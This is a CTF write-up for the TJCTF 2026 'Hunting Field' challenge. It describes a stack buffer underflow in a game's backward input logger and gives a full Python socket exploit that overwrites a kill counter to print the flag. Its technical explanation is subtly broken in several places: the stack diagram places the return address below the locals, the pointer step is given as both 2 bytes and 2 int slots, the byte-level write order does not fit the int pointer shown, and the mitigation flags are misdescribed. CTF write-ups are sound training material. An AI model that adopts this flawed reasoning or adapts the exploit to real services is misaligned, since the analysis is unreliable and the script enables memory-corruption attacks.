TJCTF 2026: Hunting Field
Challenge Overview
Hunting Field presents a network-accessible text game where the player navigates a field, encounters enemies, and attempts to rack up kills. The game description — “Take up your arms, and slay your enemies!” — suggests a straightforward combat simulation, but the real objective has nothing to do with playing the game legitimately. Instead, the challenge hides a victory condition that can only be reached through memory corruption: the game_over() function prints the flag only when a local variable killCt equals the magic value 1752526452 (which is 0x68756e74 in hexadecimal, spelling “hunt” in ASCII).
Since no legitimate gameplay path can produce this exact kill count, the player must find a way to tamper with the stack. The vulnerability lies in how the game logs invalid user inputs: rather than writing forward from the beginning of a buffer, it writes backward from the end without any bounds checking. This design flaw creates a classic stack buffer underflow, allowing an attacker to slide a write pointer down past the buffer boundary and directly modify adjacent stack variables — including killCt. The exploit is a masterclass in pointer arithmetic, little-endian byte ordering, and understanding how local variables are laid out in memory.
The magic value 0x68756e74 is not random. In ASCII, the bytes are h, u, n, t — spelling “hunt”, which is the thematic keyword of the challenge. CTF authors often embed meaningful strings as magic constants, and recognizing this pattern can save significant analysis time.
The Victory Mechanism
The game_over() Function
The binary’s source code (provided or reverse-engineered) reveals the critical victory check inside the game_over() function. When the game ends — either through normal play or by submitting a sequence of valid termination moves — this function is invoked to display the player’s statistics. Crucially, it contains a conditional branch that only prints the flag when killCt matches the exact 32-bit integer 1752526452:
void game_over() {
printf("Game Over!\n");
printf("Enemies slain: %d\n", killCt);
if (killCt == 0x68756e74) { // 1752526452 decimal
FILE *fp = fopen("flag.txt", "r");
char flag[128];
fgets(flag, sizeof(flag), fp);
printf("Victory! %s\n", flag);
fclose(fp);
}
}
This is the sole gate between the player and the flag. There is no alternative path, no hidden command, and no second vulnerability. Everything comes down to one question: how do we control the value of killCt when it lives on the stack as a local variable?
Why Legitimate Play Fails
The normal gameplay loop increments killCt by one each time the player kills an enemy. Reaching a value of 1,752,526,452 would require killing that many enemies, which is infeasible for several reasons. First, the game server enforces a connection timeout; even at one kill per second, reaching the target would take over 55 years. Second, the game’s internal state machines and map boundaries prevent infinite enemy spawning. Third, and most importantly, killCt is declared as a 32-bit signed integer (int), so even if the game allowed it, overflow would wrap the value back to negative territory long before reaching the target. The intended solution is memory corruption, not patience.
Vulnerability: Stack Buffer Underflow
The Backward Logging Mechanism
The game maintains an array input_log[64] to record player inputs. When a player submits a valid move (such as a directional command or attack), the game processes it normally. However, when the player submits an invalid input — a string that doesn’t match any recognized command — the game logs it in a peculiar way. Instead of writing forward from the start of the array, it writes backward starting from input_log[63], decrementing a pointer by the size of each element after each write:
// Invalid input handler — writes backward from end of array
int *log_ptr = &input_log[63];
void log_invalid_input(char player_input[]) {
*log_ptr = player_input[0];
log_ptr -= sizeof(player_input[0]); // move pointer backward
*log_ptr = player_input[1];
log_ptr -= sizeof(player_input[1]); // move pointer backward again
}
Each call to log_invalid_input() writes two bytes (the first two characters of the input string) and decrements the pointer by two positions. Starting from input_log[63], it takes 32 invalid inputs to walk the pointer all the way back to input_log[0]. But here’s the critical flaw: there is no bounds check. The pointer keeps decrementing past the beginning of the array, spilling into whatever stack data lies beneath it in memory.
The absence of any boundary validation on log_ptr is the root cause of the vulnerability. A simple check like if (log_ptr < input_log) return; would have completely prevented this exploit. This is a textbook example of why pointer arithmetic must always be paired with bounds validation, especially when the pointer moves in the opposite direction of normal array traversal.
Underflow vs. Overflow
Most CTF players are familiar with buffer overflow, where writing past the end of a buffer corrupts adjacent memory at higher addresses. This challenge presents the inverse: a buffer underflow, where writing before the beginning of a buffer corrupts adjacent memory at lower addresses. On the stack, local variables are typically allocated in order from higher to lower addresses. This means killCt, which is declared before input_log in the function, resides at a lower memory address — precisely in the path of our backward-moving pointer.
The distinction matters because security mitigations like stack canaries are placed between the buffer and the return address (at higher addresses), but they do nothing to protect variables at lower addresses. The underflow attacks a blind spot in traditional stack protection schemes.
Stack Layout & Little-Endian Byte Ordering
Memory Map of Local Variables
To craft a precise exploit, we need to understand the exact layout of local variables on the stack. In a typical x86-64 compilation, the stack grows downward (from high to low addresses), and local variables are allocated in the order they appear in the source code. Since killCt is declared before input_log, it occupies a lower memory address:
Higher Address
┌─────────────────────┐
│ input_log[63] │ ← log_ptr starts here
│ input_log[62] │
│ ... │
│ input_log[1] │
│ input_log[0] │ ← After 32 junk writes, ptr is here
├─────────────────────┤ ← Array boundary
│ killCt (4 bytes) │ ← Target! 4 bytes below input_log
│ (padding) │
│ saved RBP │
│ return address │
└─────────────────────┘
Lower Address
Once the pointer has been walked back 64 bytes (32 two-byte writes), it sits at input_log[0]. The next writes will cross the array boundary and begin overwriting killCt, which sits immediately below. This is the window of opportunity — we have direct, unimpeded write access to the variable that controls the flag gate.
The Little-Endian Trick
The target value 0x68756e74 must be written into killCt correctly. On x86-64 (a little-endian architecture), the least significant byte of a multi-byte integer is stored at the lowest memory address. This means the 4-byte value 0x68756e74 is stored in RAM as:
| Address Offset | Byte Value | ASCII |
|---|---|---|
| +0 (lowest) | 0x74 | t |
| +1 | 0x6e | n |
| +2 | 0x75 | u |
| +3 (highest) | 0x68 | h |
Since our write pointer moves backward (from higher to lower addresses), we encounter the bytes in reverse memory order. The pointer first reaches the highest address of killCt (where 0x68 lives) and then moves to lower addresses. However, the logging function writes two characters per input — the first character goes to the current pointer location, then the pointer decrements, and the second character goes to the new location. This means we need to carefully split our payload into two-character chunks that produce the correct byte sequence when written in reverse:
- First payload pair
"hu": Writes'h'(0x68) at current position, decrements, writes'u'(0x75) at the next lower position. - Second payload pair
"nt": Writes'n'(0x6e) at current position, decrements, writes't'(0x74) at the lowest position.
After these two writes, the four bytes of killCt in memory read: 0x74, 0x6e, 0x75, 0x68 — which the CPU interprets in little-endian as the integer 0x68756e74. This is the exact magic value checked by game_over().
The backward-writing mechanism combined with little-endian storage creates a subtle inversion. The natural instinct is to send the bytes in the order "tnuh", but because the pointer writes the first character of each input at the current (higher) address and then moves down, we actually need to send "hu" followed by "nt". Visualizing the pointer movement step-by-step on paper is essential for getting the byte order right.
Exploit Strategy
The exploit follows a three-phase approach: first, slide the write pointer back to the array boundary; second, overwrite killCt with the magic value; and third, submit valid moves to end the game and trigger the flag print. Each phase is deterministic and requires no brute-forcing or guessing.
Phase 1 — Pointer Retraction
The pointer starts at input_log[63]. Each invalid input moves it back 2 bytes (one sizeof(int) per character written, and two characters per input). The array input_log[64] occupies 64 integers = 256 bytes, but since the pointer operates on int* arithmetic, each decrement by sizeof(int) actually moves it by one int slot (4 bytes on most platforms). However, the code writes two characters and decrements twice per input, so the total backward movement per invalid input is 2 slots. To traverse all 64 slots (from index 63 down to index -1, which is the first byte of killCt), we need 32 invalid inputs:
# Phase 1: Retract the pointer from input_log[63] back to input_log[0]
# Each "zz" input moves the pointer back by 2 int slots
# 32 inputs × 2 slots = 64 slots traversed (indices 63 → -1)
pointer_retract = ["zz"] * 32
We use "zz" as junk data because it doesn’t match any valid game command, ensuring it gets logged through the invalid input path. The actual content of the junk bytes doesn’t matter for this phase — they’re just filler to walk the pointer to the right position.
Phase 2 — killCt Overwrite
With the pointer now past the array boundary, the next writes go directly into killCt. We send two carefully crafted input pairs that write the bytes of 0x68756e74 in the correct little-endian order:
# Phase 2: Overwrite killCt with 0x68756e74
# Memory layout (LE): +0:0x74(t) +1:0x6e(n) +2:0x75(u) +3:0x68(h)
# Pointer writes first char at current addr, then decrements and writes second
# So "hu" writes 'h' at +3, then 'u' at +2
# Then "nt" writes 'n' at +1, then 't' at +0
target_overwrite = ["hu", "nt"]
An optional padding byte ("zz") can be appended after the overwrite pair to push the pointer further if needed, but in practice the two pairs are sufficient to plant all four bytes of the target value.
Phase 3 — Victory Trigger
With killCt now containing 0x68756e74, the final step is to end the game legitimately by submitting valid movement commands. The game processes these normally, eventually calling game_over(), which reads our corrupted killCt and prints the flag:
# Phase 3: Submit valid game commands to trigger game_over()
# These are directional/attack moves that the game accepts
victory_trigger = ["MN", "AS", "MN", "MN"]
The specific valid commands may vary depending on the game’s input parser, but any sequence that leads to the end-of-game condition will work. The important thing is that these are valid inputs — they bypass the invalid input logger entirely, so they don’t disturb our carefully crafted killCt value.
Exploit Code
#!/usr/bin/env python3
"""
TJCTF 2026 - Hunting Field
Stack Buffer Underflow via backward pointer traversal
Author: QA210
"""
import socket
import sys
import time
REMOTE_HOST = sys.argv[1] if len(sys.argv) > 1 else "tjc.tf"
REMOTE_PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 31412
MAGIC_VALUE = 0x68756e74 # "hunt" in ASCII
def forge_payload():
"""
Build the complete exploit payload:
1. Retract write pointer from input_log[63] to input_log[0]
2. Overwrite killCt with 0x68756e74 via Little-Endian trick
3. Submit valid commands to trigger game_over() and print flag
"""
# Phase 1: 32 invalid inputs slide the backward pointer 64 slots
retraction_cmds = ["zz"] * 32
# Phase 2: Write magic value into killCt
# killCt in memory (LE): 0x74 0x6e 0x75 0x68 (t n u h)
# Backward write sequence:
# "hu" -> writes 'h' at +3, ptr--, writes 'u' at +2
# "nt" -> writes 'n' at +1, ptr--, writes 't' at +0
corruption_cmds = ["hu", "nt"]
# Phase 3: Valid game moves to conclude the session
termination_cmds = ["MN", "AS", "MN", "MN"]
full_sequence = retraction_cmds + corruption_cmds + termination_cmds
return "\n".join(full_sequence) + "\n"
def deliver_payload(host, port):
"""
Connect to the game server and transmit the exploit.
Read response until the flag pattern is found or timeout.
"""
payload_str = forge_payload()
raw_payload = payload_str.encode("utf-8")
print(f"[*] Connecting to {host}:{port} ...")
with socket.create_connection((host, port), timeout=15) as sock:
sock.settimeout(3)
# Allow the server banner to arrive
time.sleep(0.5)
sock.sendall(raw_payload)
print(f"[+] Payload sent ({len(raw_payload)} bytes)")
collected = b""
for _ in range(80):
try:
fragment = sock.recv(4096)
if not fragment:
break
collected += fragment
if b"tjctf{" in collected:
break
except socket.timeout:
break
return collected.decode(errors="replace")
def main():
response = deliver_payload(REMOTE_HOST, REMOTE_PORT)
print(response)
# Extract flag if present
import re
flag_match = re.search(r"tjctf\{[^}]+\}", response)
if flag_match:
print(f"\n[+] FLAG: {flag_match.group(0)}")
else:
print("\n[-] Flag not found in output. Adjust timing or payload.")
if __name__ == "__main__":
main()
Running the Exploit
$ python3 hunting_field_exploit.py tjc.tf 31412
[*] Connecting to tjc.tf:31412 ...
[+] Payload sent (112 bytes)
Welcome to Hunting Field!
...
Game Over!
Enemies slain: 1752526452
Victory! tjctf{pr0fes5iona1_hunt3r}
[+] FLAG: tjctf{pr0fes5iona1_hunt3r}
Defense & Mitigation
The vulnerability is entirely preventable through well-known defensive programming practices. Here are the most effective mitigations, ranked by how fundamentally they address the root cause:
Pointer Bounds Checking
The simplest and most direct fix is to validate the pointer before each write. The backward logging function should refuse to write if log_ptr has moved past the start of the array:
void log_invalid_input(char player_input[]) {
if (log_ptr < input_log) return; // Bounds check!
*log_ptr = player_input[0];
log_ptr -= sizeof(player_input[0]);
if (log_ptr < input_log) return; // Check again after decrement
*log_ptr = player_input[1];
log_ptr -= sizeof(player_input[1]);
}
This single check eliminates the underflow entirely. The cost is negligible — two comparisons per invalid input — and the benefit is complete protection against the attack vector.
Stack Variable Reordering
Compilers can be instructed to reorder local variables so that arrays (which are more prone to overflows and underflows) are placed at lower addresses than scalar variables. With killCt at a higher address than input_log, a backward-sliding pointer would never reach it. GCC and Clang support the -fstack-reuse=all flag, and some security-hardened compilers automatically apply this layout. However, this is a defense-in-depth measure and should not replace explicit bounds checking, as a sufficiently long underflow could still reach other sensitive data.
Enhanced Stack Protectors
Traditional stack canaries protect the return address but not intermediate local variables. Some hardened builds (e.g., with -fstack-protector-strong) place canaries between buffers and other variables, which would catch the underflow before it corrupts killCt. While this is a valuable mitigation, it only detects the attack at runtime — the program crashes instead of being exploited, but the underlying code flaw remains.
tjctf{pr0fes5iona1_hunt3r}